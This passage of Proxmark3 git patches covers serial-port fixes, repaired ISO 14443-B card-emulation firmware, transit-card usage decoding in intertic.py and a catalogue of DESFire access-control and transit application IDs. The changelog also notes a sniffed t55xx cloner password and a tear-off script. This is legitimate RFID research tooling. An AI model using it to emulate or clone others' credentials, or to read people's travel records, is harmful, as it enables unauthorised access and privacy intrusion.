g_conn.send_with_crc_on_usb)) { uint8_t first = 0, second = 0; @@ -474,12 +475,15 @@ __attribute__((force_align_arg_pointer)) res = uart_receive(sp, (uint8_t *)&rx_raw.pre, sizeof(PacketResponseNGPreamble), &rxlen); if ((res == PM3_SUCCESS) && (rxlen == sizeof(PacketResponseNGPreamble))) { + rx.magic = rx_raw.pre.magic; uint16_t length = rx_raw.pre.length; rx.ng = rx_raw.pre.ng; rx.status = rx_raw.pre.status; rx.cmd = rx_raw.pre.cmd; + if (rx.magic == RESPONSENG_PREAMBLE_MAGIC) { // New style NG reply + if (length > PM3_CMD_DATA_SIZE) { PrintAndLogEx(WARNING, "Received packet frame with incompatible length: 0x%04x", length); error = true; @@ -488,30 +492,38 @@ __attribute__((force_align_arg_pointer)) if ((!error) && (length > 0)) { // Get the variable length payload res = uart_receive(sp, (uint8_t *)&rx_raw.data, length, &rxlen); + if ((res != PM3_SUCCESS) || (rxlen != length)) { + PrintAndLogEx(WARNING, "Received packet frame with variable part too short? %d/%d", rxlen, length); error = true; + } else { if (rx.ng) { // Received a valid NG frame + memcpy(&rx.data, &rx_raw.data, length); rx.length = length; if ((rx.cmd == g_conn.last_command) && (rx.status == PM3_SUCCESS)) { ACK_received = true; } + } else { uint64_t arg[3]; if (length < sizeof(arg)) { PrintAndLogEx(WARNING, "Received MIX packet frame with incompatible length: 0x%04x", length); error = true; } + if (!error) { // Received a valid MIX frame + memcpy(arg, &rx_raw.data, sizeof(arg)); rx.oldarg[0] = arg[0]; rx.oldarg[1] = arg[1]; rx.oldarg[2] = arg[2]; memcpy(&rx.data, ((uint8_t *)&rx_raw.data) + sizeof(arg), length - sizeof(arg)); rx.length = length - sizeof(arg); + if (rx.cmd == CMD_ACK) { ACK_received = true; } @@ -519,12 +531,14 @@ __attribute__((force_align_arg_pointer)) } } } else if ((!error) && (length == 0)) { // we received an empty frame - if (rx.ng) + + if (rx.ng) { rx.length = 0; // set received length to 0 - else { // old frames can't be empty + } else { // old frames can't be empty PrintAndLogEx(WARNING, "Received empty MIX packet frame (length: 0x00)"); error = true; } + } if (!error) { // Get the postamble @@ -537,9 +551,12 @@ __attribute__((force_align_arg_pointer)) if (!error) { // Check CRC, accept MAGIC as placeholder rx.crc = rx_raw.foopost.crc; + if (rx.crc != RESPONSENG_POSTAMBLE_MAGIC) { + uint8_t first, second; compute_crc(CRC_14443_A, (uint8_t *)&rx_raw, sizeof(PacketResponseNGPreamble) + length, &first, &second); + if ((first << 8) + second != rx.crc) { PrintAndLogEx(WARNING, "Received packet frame with invalid CRC %02X%02X <> %04X", first, second, rx.crc); error = true; diff --git a/client/src/uart/uart_posix.c b/client/src/uart/uart_posix.c index 0863cc9b7..a83617d7b 100644 --- a/client/src/uart/uart_posix.c +++ b/client/src/uart/uart_posix.c @@ -387,11 +387,15 @@ serial_port uart_open(const char *pcPortName, uint32_t speed, bool slient) { return INVALID_SERIAL_PORT; } + // Flush all lingering data that may exist + tcflush(sp->fd, TCIOFLUSH); + // Duplicate the (old) terminal info struct sp->tiNew = sp->tiOld; - // Configure the serial port - sp->tiNew.c_cflag = CS8 | CLOCAL | CREAD; + // Configure the serial port. + // fix: default to 115200 here seems to fix the white dongle issue. Will need to check proxbuilds later. + sp->tiNew.c_cflag = B115200 | CS8 | CLOCAL | CREAD; sp->tiNew.c_iflag = IGNPAR; sp->tiNew.c_oflag = 0; sp->tiNew.c_lflag = 0; @@ -401,6 +405,18 @@ serial_port uart_open(const char *pcPortName, uint32_t speed, bool slient) { // Block until a timer expires (n * 100 mSec.) sp->tiNew.c_cc[VTIME] = 0; + // more configurations + sp->tiNew.c_cc[VINTR] = 0; /* Ctrl-c */ + sp->tiNew.c_cc[VQUIT] = 0; /* Ctrl-\ */ + sp->tiNew.c_cc[VERASE] = 0; /* del */ + sp->tiNew.c_cc[VKILL] = 0; /* @ */ + sp->tiNew.c_cc[VEOF] = 4; /* Ctrl-d */ + sp->tiNew.c_cc[VSWTC] = 0; /* '\0' */ + sp->tiNew.c_cc[VSTART] = 0; /* Ctrl-q */ + sp->tiNew.c_cc[VSTOP] = 0; /* Ctrl-s */ + sp->tiNew.c_cc[VSUSP] = 0; /* Ctrl-z */ + sp->tiNew.c_cc[VEOL] = 0; /* '\0' */ + // Try to set the new terminal info struct if (tcsetattr(sp->fd, TCSANOW, &sp->tiNew) == -1) { PrintAndLogEx(ERR, "error: UART set terminal info attribute"); @@ -695,9 +711,14 @@ bool uart_set_speed(serial_port sp, const uint32_t uiPortSpeed) { // Set port speed (Input and Output) cfsetispeed(&ti, stPortSpeed); cfsetospeed(&ti, stPortSpeed); + + // flush + tcflush(spu->fd, TCIOFLUSH); + bool result = tcsetattr(spu->fd, TCSANOW, &ti) != -1; - if (result) + if (result) { g_conn.uart_speed = uiPortSpeed; + } return result; } From 8209440a54e0fe751b3dc8f5184e3448ebcbd4a4 Mon Sep 17 00:00:00 2001 From: Michael Jung Date: Tue, 11 Jun 2024 18:54:01 +0200 Subject: [PATCH 115/157] Fix ISO 14443-B tag simulation See https://github.com/RfidResearchGroup/proxmark3/issues/1652 - Fix Bit Coding PICC -> PCD: Encoding for 0 and 1 bits were reversed. - Add a frontend delay for TR0 (No subcarrier) in TransmitFor14443b_AsTag. - Remove unconditionally prefixing the encoded data with two '1' bits. - Improve the Type B PICC State Machine implementation. With these improvements my PCD can read the ISO 14443-B tag emulated by a Proxmark3 Easy. Signed-off-by: Michael Jung --- CHANGELOG.md | 1 + armsrc/iso14443b.c | 166 +++++++++++++++++++++++++-------------------- armsrc/iso14443b.h | 10 ++- 3 files changed, 98 insertions(+), 79 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index fbc7d0d93..6f58a28f1 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -7,6 +7,7 @@ This project uses the changelog in accordance with [keepchangelog](http://keepac - Changed `intertic.py` - updated and code clean up (@gentilkiwi) - Added `pm3_tears_for_fears.py` - a ISO14443b tear off script by Pierre Granier - Added new t55xx password (002BCFCF) sniffed from cheap cloner (@davidbeauchamp) +- Fixed 'hf 14b sim' - now works (@michi-jung) ## [Aurora.4.18589][2024-05-28] - Fixed the pm3 regressiontests for Hitag2Crack (@iceman1001) diff --git a/armsrc/iso14443b.c b/armsrc/iso14443b.c index a802f6282..604920e45 100644 --- a/armsrc/iso14443b.c +++ b/armsrc/iso14443b.c @@ -186,7 +186,7 @@ #endif // 4sample -#define SEND4STUFFBIT(x) tosend_stuffbit(x);tosend_stuffbit(x);tosend_stuffbit(x);tosend_stuffbit(x); +#define SEND4STUFFBIT(x) tosend_stuffbit(!(x));tosend_stuffbit(!(x));tosend_stuffbit(!(x));tosend_stuffbit(!(x)); static void iso14b_set_timeout(uint32_t timeout_etu); static void iso14b_set_maxframesize(uint16_t size); @@ -702,10 +702,11 @@ static void TransmitFor14443b_AsTag(const uint8_t *response, uint16_t len) { // Signal field is off with the appropriate LED LED_D_OFF(); + // TR0: min - 1024 cycles = 75.52 us - max 4096 cycles = 302.08 us + SpinDelayUs(76); + // Modulate BPSK FpgaWriteConfWord(FPGA_MAJOR_MODE_HF_SIMULATOR | FPGA_HF_SIMULATOR_MODULATE_BPSK); - AT91C_BASE_SSC->SSC_THR = 0xFF; - FpgaSetupSsc(FPGA_MAJOR_MODE_HF_SIMULATOR); // Transmit the response. for (uint16_t i = 0; i < len;) { @@ -713,6 +714,11 @@ static void TransmitFor14443b_AsTag(const uint8_t *response, uint16_t len) { // Put byte into tx holding register as soon as it is ready if (AT91C_BASE_SSC->SSC_SR & AT91C_SSC_TXRDY) { AT91C_BASE_SSC->SSC_THR = response[i++]; + + // Start-up SSC once first byte is in SSC_THR + if (i == 1) { + FpgaSetupSsc(FPGA_MAJOR_MODE_HF_SIMULATOR); + } } } } @@ -771,7 +777,7 @@ void SimulateIso14443bTag(const uint8_t *pupi) { static const uint8_t respOK[] = {0x00, 0x78, 0xF0}; uint16_t len, cmdsReceived = 0; - int cardSTATE = SIM_NOFIELD; + int cardSTATE = SIM_POWER_OFF; int vHf = 0; // in mV const tosend_t *ts = get_tosend(); @@ -801,16 +807,18 @@ void SimulateIso14443bTag(const uint8_t *pupi) { } // find reader field - if (cardSTATE == SIM_NOFIELD) { - - vHf = (MAX_ADC_HF_VOLTAGE * SumAdc(ADC_CHAN_HF, 32)) >> 15; - if (vHf > MF_MINFIELDV) { + vHf = (MAX_ADC_HF_VOLTAGE * SumAdc(ADC_CHAN_HF, 32)) >> 15; + if (vHf > MF_MINFIELDV) { + if (cardSTATE == SIM_POWER_OFF) { cardSTATE = SIM_IDLE; LED_A_ON(); } + } else { + cardSTATE = SIM_POWER_OFF; + LED_A_OFF(); } - if (cardSTATE == SIM_NOFIELD) { + if (cardSTATE == SIM_POWER_OFF) { continue; } @@ -820,73 +828,85 @@ void SimulateIso14443bTag(const uint8_t *pupi) { break; } - // ISO14443-B protocol states: - // REQ or WUP request in ANY state - // WUP in HALTED state - if (len == 5) { - if (((receivedCmd[0] == ISO14443B_REQB) && ((receivedCmd[2] & 0x08) == 0x08) && (cardSTATE == SIM_HALTED)) || - (receivedCmd[0] == ISO14443B_REQB)) { + LogTrace(receivedCmd, len, 0, 0, NULL, true); - LogTrace(receivedCmd, len, 0, 0, NULL, true); - cardSTATE = SIM_SELECTING; - } - } - - /* - * How should this flow go? - * REQB or WUPB - * send response ( waiting for Attrib) - * ATTRIB - * send response ( waiting for commands 7816) - * HALT - send halt response ( waiting for wupb ) - */ - - switch (cardSTATE) { - //case SIM_NOFIELD: - case SIM_HALTED: - case SIM_IDLE: { - LogTrace(receivedCmd, len, 0, 0, NULL, true); - break; - } - case SIM_SELECTING: { - TransmitFor14443b_AsTag(encodedATQB, encodedATQBLen); - LogTrace(respATQB, sizeof(respATQB), 0, 0, NULL, false); - cardSTATE = SIM_WORK; - break; - } - case SIM_HALTING: { - TransmitFor14443b_AsTag(encodedOK, encodedOKLen); - LogTrace(respOK, sizeof(respOK), 0, 0, NULL, false); - cardSTATE = SIM_HALTED; - break; - } - case SIM_ACKNOWLEDGE: { - TransmitFor14443b_AsTag(encodedOK, encodedOKLen); - LogTrace(respOK, sizeof(respOK), 0, 0, NULL, false); - cardSTATE = SIM_IDLE; - break; - } - case SIM_WORK: { - if (len == 7 && receivedCmd[0] == ISO14443B_HALT) { - cardSTATE = SIM_HALTED; - } else if (len == 11 && receivedCmd[0] == ISO14443B_ATTRIB) { - cardSTATE = SIM_ACKNOWLEDGE; - } else { - // Todo: - // - SLOT MARKER - // - ISO7816 - // - emulate with a memory dump - if (g_dbglevel >= DBG_DEBUG) { - Dbprintf("new cmd from reader: len=%d, cmdsRecvd=%d", len, cmdsReceived); - } - - cardSTATE = SIM_IDLE; + if ((len == 5) && (receivedCmd[0] == ISO14443B_REQB) && (receivedCmd[2] & 0x08)) { + // WUPB + switch (cardSTATE) { + case SIM_IDLE: + case SIM_READY: + case SIM_HALT: { + TransmitFor14443b_AsTag(encodedATQB, encodedATQBLen); + LogTrace(respATQB, sizeof(respATQB), 0, 0, NULL, false); + cardSTATE = SIM_READY; + break; + } + case SIM_ACTIVE: + default: { + TransmitFor14443b_AsTag(encodedATQB, encodedATQBLen); + LogTrace(respATQB, sizeof(respATQB), 0, 0, NULL, false); + break; } - break; } - default: { - break; + } else if ((len == 5) && (receivedCmd[0] == ISO14443B_REQB) && !(receivedCmd[2] & 0x08)) { + // REQB + switch (cardSTATE) { + case SIM_IDLE: + case SIM_READY: { + TransmitFor14443b_AsTag(encodedATQB, encodedATQBLen); + LogTrace(respATQB, sizeof(respATQB), 0, 0, NULL, false); + cardSTATE = SIM_READY; + break; + } + case SIM_ACTIVE: { + TransmitFor14443b_AsTag(encodedATQB, encodedATQBLen); + LogTrace(respATQB, sizeof(respATQB), 0, 0, NULL, false); + break; + } + case SIM_HALT: + default: { + break; + } + } + } else if ((len == 7) && (receivedCmd[0] == ISO14443B_HALT)) { + // HLTB + switch (cardSTATE) { + case SIM_READY: { + TransmitFor14443b_AsTag(encodedOK, encodedOKLen); + LogTrace(respOK, sizeof(respOK), 0, 0, NULL, false); + cardSTATE = SIM_HALT; + break; + } + case SIM_IDLE: + case SIM_ACTIVE: { + TransmitFor14443b_AsTag(encodedOK, encodedOKLen); + LogTrace(respOK, sizeof(respOK), 0, 0, NULL, false); + break; + } + case SIM_HALT: + default: { + break; + } + } + } else if (len == 11 && receivedCmd[0] == ISO14443B_ATTRIB) { + // ATTRIB + switch (cardSTATE) { + case SIM_READY: { + TransmitFor14443b_AsTag(encodedOK, encodedOKLen); + LogTrace(respOK, sizeof(respOK), 0, 0, NULL, false); + cardSTATE = SIM_ACTIVE; + break; + } + case SIM_IDLE: + case SIM_ACTIVE: { + TransmitFor14443b_AsTag(encodedOK, encodedOKLen); + LogTrace(respOK, sizeof(respOK), 0, 0, NULL, false); + break; + } + case SIM_HALT: + default: { + break; + } } } diff --git a/armsrc/iso14443b.h b/armsrc/iso14443b.h index 8e58942fb..70455ac15 100644 --- a/armsrc/iso14443b.h +++ b/armsrc/iso14443b.h @@ -49,12 +49,10 @@ void SniffIso14443b(void); void SendRawCommand14443B(iso14b_raw_cmd_t *p); // States for 14B SIM command -#define SIM_NOFIELD 0 +#define SIM_POWER_OFF 0 #define SIM_IDLE 1 -#define SIM_HALTED 2 -#define SIM_SELECTING 3 -#define SIM_HALTING 4 -#define SIM_ACKNOWLEDGE 5 -#define SIM_WORK 6 +#define SIM_READY 2 +#define SIM_HALT 3 +#define SIM_ACTIVE 4 #endif /* __ISO14443B_H */ From 283a3e44ed22bc10d7e5b4e15f96350f04427daf Mon Sep 17 00:00:00 2001 From: iceman1001 Date: Wed, 12 Jun 2024 12:28:02 +0200 Subject: [PATCH 116/157] remove missing usage of define --- client/src/uart/uart_posix.c | 1 - 1 file changed, 1 deletion(-) diff --git a/client/src/uart/uart_posix.c b/client/src/uart/uart_posix.c index a83617d7b..5e7133354 100644 --- a/client/src/uart/uart_posix.c +++ b/client/src/uart/uart_posix.c @@ -411,7 +411,6 @@ serial_port uart_open(const char *pcPortName, uint32_t speed, bool slient) { sp->tiNew.c_cc[VERASE] = 0; /* del */ sp->tiNew.c_cc[VKILL] = 0; /* @ */ sp->tiNew.c_cc[VEOF] = 4; /* Ctrl-d */ - sp->tiNew.c_cc[VSWTC] = 0; /* '\0' */ sp->tiNew.c_cc[VSTART] = 0; /* Ctrl-q */ sp->tiNew.c_cc[VSTOP] = 0; /* Ctrl-s */ sp->tiNew.c_cc[VSUSP] = 0; /* Ctrl-z */ From ceddabcc983f4f9c3a36f2b5595ebc93b22ff9c2 Mon Sep 17 00:00:00 2001 From: Benjamin DELPY Date: Fri, 14 Jun 2024 22:23:15 +0200 Subject: [PATCH 117/157] Update intertic.py to support more USAGE parsing Signed-off-by: Benjamin DELPY --- client/pyscripts/intertic.py | 139 ++++++++++++++++++++++++++++++----- 1 file changed, 121 insertions(+), 18 deletions(-) diff --git a/client/pyscripts/intertic.py b/client/pyscripts/intertic.py index bd1582b36..fdb5ff081 100644 --- a/client/pyscripts/intertic.py +++ b/client/pyscripts/intertic.py @@ -55,6 +55,35 @@ class BitMe: A generic Describe_Usage function with variable number of bits between stamps will be more optimal At this time I want to keep more places/functions to try to parse other fields in 'unk1' and 'left' ''' + +TYPE_EventCode_Nature = { + 0x1: 'urban bus', + 0x2: 'interurban bus', + 0x3: 'metro', + 0x4: 'tramway', + 0x5: 'train', + 0x8: 'parking', +} + +TYPE_EventCode_Type = { + 0x1: 'entry validation', + 0x2: 'exit validation', + 0x4: 'ticket inspecting', + 0x6: 'connection entry validation', + 0x14: 'test validation', + 0x15: 'connection exit validation', + 0x16: 'canceled validation', + 0x17: 'invalidation', + 0x18: 'distribution', +} + +TYPE_EventGeoRoute_Direction = { + 0: 'undefined', + 1: 'outward', + 2: 'inward', + 3: 'circular', +} + def Describe_Usage_1(Usage, ContractMediumEndDate, Certificate): EventDateStamp = Usage.nom(10) EventTimeStamp = Usage.nom(11) @@ -67,19 +96,93 @@ def Describe_Usage_1(Usage, ContractMediumEndDate, Certificate): print(' EventValidityTimeFirstStamp: {} ({:02d}:{:02d})'. format(EventValidityTimeFirstStamp, EventValidityTimeFirstStamp // 60, EventValidityTimeFirstStamp % 60)) print(' left... :', Usage.nom_bits_left()); print(' [CER] Usage : {:04x}'.format(Certificate.nom(16))) + +def Describe_Usage_1_1(Usage, ContractMediumEndDate, Certificate): + EventDateStamp = Usage.nom(10) + EventTimeStamp = Usage.nom(11) + unk0 = Usage.nom_bits(8) + EventCode_Nature = Usage.nom(5) + EventCode_Type = Usage.nom(5) + unk1 = Usage.nom_bits(11) + EventGeoVehicleId = Usage.nom(16) + EventGeoRouteId = Usage.nom(14) + EventGeoRoute_Direction = Usage.nom(2) + EventCountPassengers_mb = Usage.nom(4) + EventValidityTimeFirstStamp = Usage.nom(11) + print(' DateStamp : {} ({})'.format(EventDateStamp, (datetime(1997, 1, 1) + timedelta(days = ContractMediumEndDate - EventDateStamp)).strftime('%Y-%m-%d'))); + print(' TimeStamp : {} ({:02d}:{:02d})'. format(EventTimeStamp, EventTimeStamp // 60, EventTimeStamp % 60)) + print(' unk0... :', unk0); + print(' Code/Nature : 0x{:x} ({})'.format(EventCode_Nature, TYPE_EventCode_Nature.get(EventCode_Nature, '?'))) + print(' Code/Type : 0x{:x} ({})'.format(EventCode_Type, TYPE_EventCode_Type.get(EventCode_Type, '?'))) + print(' unk1... :', unk1); + print(' GeoVehicleId : {}'. format(EventGeoVehicleId)) + print(' GeoRouteId : {}'. format(EventGeoRouteId)) + print(' Direction : {} ({})'. format(EventGeoRoute_Direction, TYPE_EventGeoRoute_Direction.get(EventGeoRoute_Direction, '?'))) + print(' Passengers(?) : {}'. format(EventCountPassengers_mb)) + print(' ValidityTimeFirstStamp: {} ({:02d}:{:02d})'. format(EventValidityTimeFirstStamp, EventValidityTimeFirstStamp // 60, EventValidityTimeFirstStamp % 60)) + print(' left... :', Usage.nom_bits_left()); + print(' [CER] Usage : {:04x}'.format(Certificate.nom(16))) + +def Describe_Usage_1_2(Usage, ContractMediumEndDate, Certificate): + EventDateStamp = Usage.nom(10) + EventTimeStamp = Usage.nom(11) + EventCount_mb = Usage.nom(6) + unk0 = Usage.nom_bits(4) + EventCode_Nature_mb = Usage.nom(4) + EventCode_Type_mb = Usage.nom(4) + unk1 = Usage.nom_bits(11) + EventGeoVehicleId = Usage.nom(16) + EventGeoRouteId = Usage.nom(14) + EventGeoRoute_Direction = Usage.nom(2) + EventCountPassengers_mb = Usage.nom(4) + EventValidityTimeFirstStamp = Usage.nom(11) + + TYPE_EventCode_Nature_Reims = { # usually it's the opposite, but ... ? + 0x4: 'urban bus', + 0x1: 'tramway', + } + + print(' DateStamp : {} ({})'.format(EventDateStamp, (datetime(1997, 1, 1) + timedelta(days = ContractMediumEndDate - EventDateStamp)).strftime('%Y-%m-%d'))); + print(' TimeStamp : {} ({:02d}:{:02d})'. format(EventTimeStamp, EventTimeStamp // 60, EventTimeStamp % 60)) + print(' Count(?) : {}'. format(EventCount_mb)) + print(' unk0... :', unk0); + print(' Code/Nature(?) : 0x{:x} ({})'.format(EventCode_Nature_mb, TYPE_EventCode_Nature_Reims.get(EventCode_Nature_mb, '?'))) + print(' Code/Type(?) : 0x{:x} ({})'.format(EventCode_Type_mb, TYPE_EventCode_Type.get(EventCode_Type_mb, '?'))) + print(' unk1... :', unk1); + print(' GeoVehicleId : {}'. format(EventGeoVehicleId)) + print(' GeoRouteId : {}'. format(EventGeoRouteId)) + print(' Direction : {} ({})'. format(EventGeoRoute_Direction, TYPE_EventGeoRoute_Direction.get(EventGeoRoute_Direction, '?'))) + print(' Passengers(?) : {}'. format(EventCountPassengers_mb)) + print(' ValidityTimeFirstStamp: {} ({:02d}:{:02d})'. format(EventValidityTimeFirstStamp, EventValidityTimeFirstStamp // 60, EventValidityTimeFirstStamp % 60)) + print(' left... :', Usage.nom_bits_left()); + print(' [CER] Usage : {:04x}'.format(Certificate.nom(16))) + + def Describe_Usage_2(Usage, ContractMediumEndDate, Certificate): EventDateStamp = Usage.nom(10) EventTimeStamp = Usage.nom(11) - unk = Usage.nom_bits(49) + unk0 = Usage.nom_bits(8) + EventCode_Nature = Usage.nom(5) + EventCode_Type = Usage.nom(5) + unk1 = Usage.nom_bits(11) + EventGeoRouteId = Usage.nom(14) + EventGeoRoute_Direction = Usage.nom(2) + EventCountPassengers_mb = Usage.nom(4) EventValidityTimeFirstStamp = Usage.nom(11) - print(' EventDateStamp : {} ({})'.format(EventDateStamp, (datetime(1997, 1, 1) + timedelta(days = ContractMediumEndDate - EventDateStamp)).strftime('%Y-%m-%d'))); - print(' EventTimeStamp : {} ({:02d}:{:02d})'. format(EventTimeStamp, EventTimeStamp // 60, EventTimeStamp % 60)) - print(' unk1... :', unk); - print(' EventValidityTimeFirstStamp: {} ({:02d}:{:02d})'. format(EventValidityTimeFirstStamp, EventValidityTimeFirstStamp // 60, EventValidityTimeFirstStamp % 60)) - print(' left... :', Usage.nom_bits_left()); - print(' [CER] Usage : {:04x}'.format(Certificate.nom(16))) + print(' DateStamp : {} ({})'.format(EventDateStamp, (datetime(1997, 1, 1) + timedelta(days = ContractMediumEndDate - EventDateStamp)).strftime('%Y-%m-%d'))); + print(' TimeStamp : {} ({:02d}:{:02d})'. format(EventTimeStamp, EventTimeStamp // 60, EventTimeStamp % 60)) + print(' unk0... :', unk0); + print(' Code/Nature : 0x{:x} ({})'.format(EventCode_Nature, TYPE_EventCode_Nature.get(EventCode_Nature, '?'))) + print(' Code/Type : 0x{:x} ({})'.format(EventCode_Type, TYPE_EventCode_Type.get(EventCode_Type, '?'))) + print(' unk1... :', unk1); + print(' GeoRouteId : {}'. format(EventGeoRouteId)) + print(' Direction : {} ({})'. format(EventGeoRoute_Direction, TYPE_EventGeoRoute_Direction.get(EventGeoRoute_Direction, '?'))) + print(' Passengers(?) : {}'. format(EventCountPassengers_mb)) + print(' ValidityTimeFirstStamp: {} ({:02d}:{:02d})'. format(EventValidityTimeFirstStamp, EventValidityTimeFirstStamp // 60, EventValidityTimeFirstStamp % 60)) + print(' left... :', Usage.nom_bits_left()); + print(' [CER] Usage : {:04x}'.format(Certificate.nom(16))) def Describe_Usage_3(Usage, ContractMediumEndDate, Certificate): EventDateStamp = Usage.nom(10) @@ -127,29 +230,29 @@ ISO_Countries = { FRA_OrganizationalAuthority_Contract_Provider = { 0x000: { - 5: InterticHelper('Lille', 'Ilévia / Keolis', Describe_Usage_1), - 7: InterticHelper('Lens-Béthune', 'Tadao / Transdev', Describe_Usage_1), + 5: InterticHelper('Lille', 'Ilévia / Keolis', Describe_Usage_1_1), + 7: InterticHelper('Lens-Béthune', 'Tadao / Transdev', Describe_Usage_1_1), }, 0x006: { 1: InterticHelper('Amiens', 'Ametis / Keolis'), }, 0x008: { - 15: InterticHelper('Angoulême', 'STGA', Describe_Usage_1), + 15: InterticHelper('Angoulême', 'STGA', Describe_Usage_1_1), # May have a problem with date ? }, 0x021: { - 1: InterticHelper('Bordeaux', 'TBM / Keolis', Describe_Usage_1), + 1: InterticHelper('Bordeaux', 'TBM / Keolis', Describe_Usage_1_1), }, 0x057: { - 1: InterticHelper('Lyon', 'TCL / Keolis', Describe_Usage_1), + 1: InterticHelper('Lyon', 'TCL / Keolis', Describe_Usage_1), # Strange usage ?, kept on generic 1 }, 0x072: { - 1: InterticHelper('Tours', 'filbleu / Keolis', Describe_Usage_1), + 1: InterticHelper('Tours', 'filbleu / Keolis', Describe_Usage_1_1), }, 0x078: { - 4: InterticHelper('Reims', 'Citura / Transdev', Describe_Usage_1), + 4: InterticHelper('Reims', 'Citura / Transdev', Describe_Usage_1_2), }, 0x091: { - 1: InterticHelper('Strasbourg', 'CTS', Describe_Usage_4), + 1: InterticHelper('Strasbourg', 'CTS', Describe_Usage_4), # More dump needed, not only tram ! }, 0x502: { 83: InterticHelper('Annecy', 'Sibra', Describe_Usage_2), @@ -160,20 +263,20 @@ FRA_OrganizationalAuthority_Contract_Provider = { }, 0x908: { 1: InterticHelper('Rennes', 'STAR / Keolis', Describe_Usage_2), - 8: InterticHelper('Saint-Malo', 'MAT / RATP'), + 8: InterticHelper('Saint-Malo', 'MAT / RATP', Describe_Usage_1_1), }, 0x911: { 5: InterticHelper('Besançon', 'Ginko / Keolis'), }, 0x912: { - 3: InterticHelper('Le Havre', 'Lia / Transdev', Describe_Usage_1), + 3: InterticHelper('Le Havre', 'Lia / Transdev', Describe_Usage_1_1), 35: InterticHelper('Cherbourg-en-Cotentin', 'Cap Cotentin / Transdev'), }, 0x913: { 3: InterticHelper('Nîmes', 'Tango / Transdev', Describe_Usage_3), }, 0x917: { - 4: InterticHelper('Angers', 'Irigo / RATP', Describe_Usage_1), + 4: InterticHelper('Angers', 'Irigo / RATP', Describe_Usage_1_2), 7: InterticHelper('Saint-Nazaire', 'Stran'), }, } From 39639c803c651c11d3c94e72f849f8b1d36abf88 Mon Sep 17 00:00:00 2001 From: iceman1001 Date: Sat, 15 Jun 2024 20:36:11 +0200 Subject: [PATCH 118/157] fix a wrong size when clearning allocated memory --- CHANGELOG.md | 1 + armsrc/spiffs.c | 2 +- 2 files changed, 2 insertions(+), 1 deletion(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index 6f58a28f1..98797cc01 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -3,6 +3,7 @@ All notable changes to this project will be documented in this file. This project uses the changelog in accordance with [keepchangelog](http://keepachangelog.com/). Please use this to write notable changes, which is not the same as git commit log... ## [unreleased][unreleased] +- Fixed a bad memory erase (@iceman1001) - Fixed BT serial comms (@iceman1001) - Changed `intertic.py` - updated and code clean up (@gentilkiwi) - Added `pm3_tears_for_fears.py` - a ISO14443b tear off script by Pierre Granier diff --git a/armsrc/spiffs.c b/armsrc/spiffs.c index fbbf95672..7604f6db7 100644 --- a/armsrc/spiffs.c +++ b/armsrc/spiffs.c @@ -646,7 +646,7 @@ void rdv40_spiffs_safe_print_tree(void) { SPIFFS_opendir(&fs, "/", &d); while ((pe = SPIFFS_readdir(&d, pe))) { - memset(resolvedlink, 0, sizeof(resolvedlink)); + memset(resolvedlink, 0, 11 + SPIFFS_OBJ_NAME_LEN); if (rdv40_spiffs_is_symlink((const char *)pe->name)) { From d2c5c99f053455bd8012150263b27fcd4cfdca48 Mon Sep 17 00:00:00 2001 From: ry4000 <154689120+ry4000@users.noreply.github.com> Date: Tue, 18 Jun 2024 23:34:53 +1000 Subject: [PATCH 119/157] Updated aid_desfire.json Used Notepad++ to make offline edits to avoid making further unnecessary commits. Duplicate AIDs were removed. AID Country, Name, Description, and Type were clarified where publicly-available information existed. AIDs are now in category order, then further sorted by hexadecimal order. Style Guide adhered to where possible; some Descriptions may need truncating, however. Signed-off-by: ry4000 <154689120+ry4000@users.noreply.github.com> --- client/resources/aid_desfire.json | 794 +++++++++++++++--------------- 1 file changed, 389 insertions(+), 405 deletions(-) diff --git a/client/resources/aid_desfire.json b/client/resources/aid_desfire.json index a147643d2..986aac08a 100644 --- a/client/resources/aid_desfire.json +++ b/client/resources/aid_desfire.json @@ -7,11 +7,59 @@ "Description": "FID 03: Capability Container", "Type": "ndef" }, + { + "AID": "000357", + "Vendor": "LEGIC", + "Country": "DE", + "Name": "Legic", + "Description": "FID 02: EF-CONF", + "Type": "pacs" + }, + { + "AID": "2081F4", + "Vendor": "Gallagher", + "Country": "NZ", + "Name": "Access Control", + "Description": "Cardax Card Data Application", + "Type": "pacs" + }, + { + "AID": "2F81F4", + "Vendor": "Gallagher", + "Country": "NZ", + "Name": "Access Control", + "Description": "Card Application Directory [CAD]", + "Type": "pacs" + }, + { + "AID": "4791DA", + "Vendor": "Prima Systems", + "Country": "SI", + "Name": "Prima FlexAir Access Control", + "Description": "FIDs 00: DRM; 01: Access Event Log; 04: Access Permissions", + "Type": "pacs" + }, + { + "AID": "53494F", + "Vendor": "HID", + "Country": "US", + "Name": "Access Control", + "Description": "HID Factory", + "Type": "pacs" + }, + { + "AID": "6F706C", + "Vendor": "Openpath", + "Country": "US", + "Name": "Access control", + "Description": "Openpath PACS Application", + "Type": "pacs" + }, { "AID": "D3494F", "Vendor": "HID", "Country": "US", - "Name": "SIO DESFire Ev1", + "Name": "SIO DESFire EV1", "Description": "Field Encoder", "Type": "pacs" }, @@ -24,124 +72,28 @@ "Type": "pacs" }, { - "AID": "53494F", - "Vendor": "HID", - "Country": "US", - "Name": "Access control", - "Description": "HID Factory", + "AID": "F48EF1", + "Vendor": "Salto Systems", + "Country": "ES", + "Name": "Salto Systems", + "Description": "", "Type": "pacs" }, { - "AID": "4F5931", - "Vendor": "Transport for London [TfL]", - "Country": "UK", - "Name": "Oyster Card", - "Description": "FIDs: 00-07: Standard Data", - "Type": "transport" + "AID": "F48EFD", + "Vendor": "Salto Systems", + "Country": "ES", + "Name": "Salto KS", + "Description": "Key as a Service // FID 01: Standard Data", + "Type": "pacs" }, { - "AID": "422201", - "Vendor": "Transport of Istanbul", - "Country": "TR", - "Name": "Istanbulkart", - "Description": "Istanbul Card", - "Type": "transport" - }, - { - "AID": "F21190", - "Vendor": "Metropolitan Transportation Commission / Cubic", - "Country": "US", - "Name": "Clipper Card", + "AID": "F52310", + "Vendor": "Integrated Control Technology Limited [ICT]", + "Country": "NZ", + "Name": "ICT Access Credential", "Description": "", - "Type": "transport" - }, - { - "AID": "000357", - "Vendor": "LEGIC", - "Country": "DE", - "Name": "Legic", - "Description": "FID 02: EF-CONF", - "Type": "" - }, - { - "AID": "578000", - "Vendor": "NORTIC", - "Country": "", - "Name": "NORTIC Card Issuer", - "Description": "FID 0C: Card Issuer Header", - "Type": "transport" - }, - { - "AID": 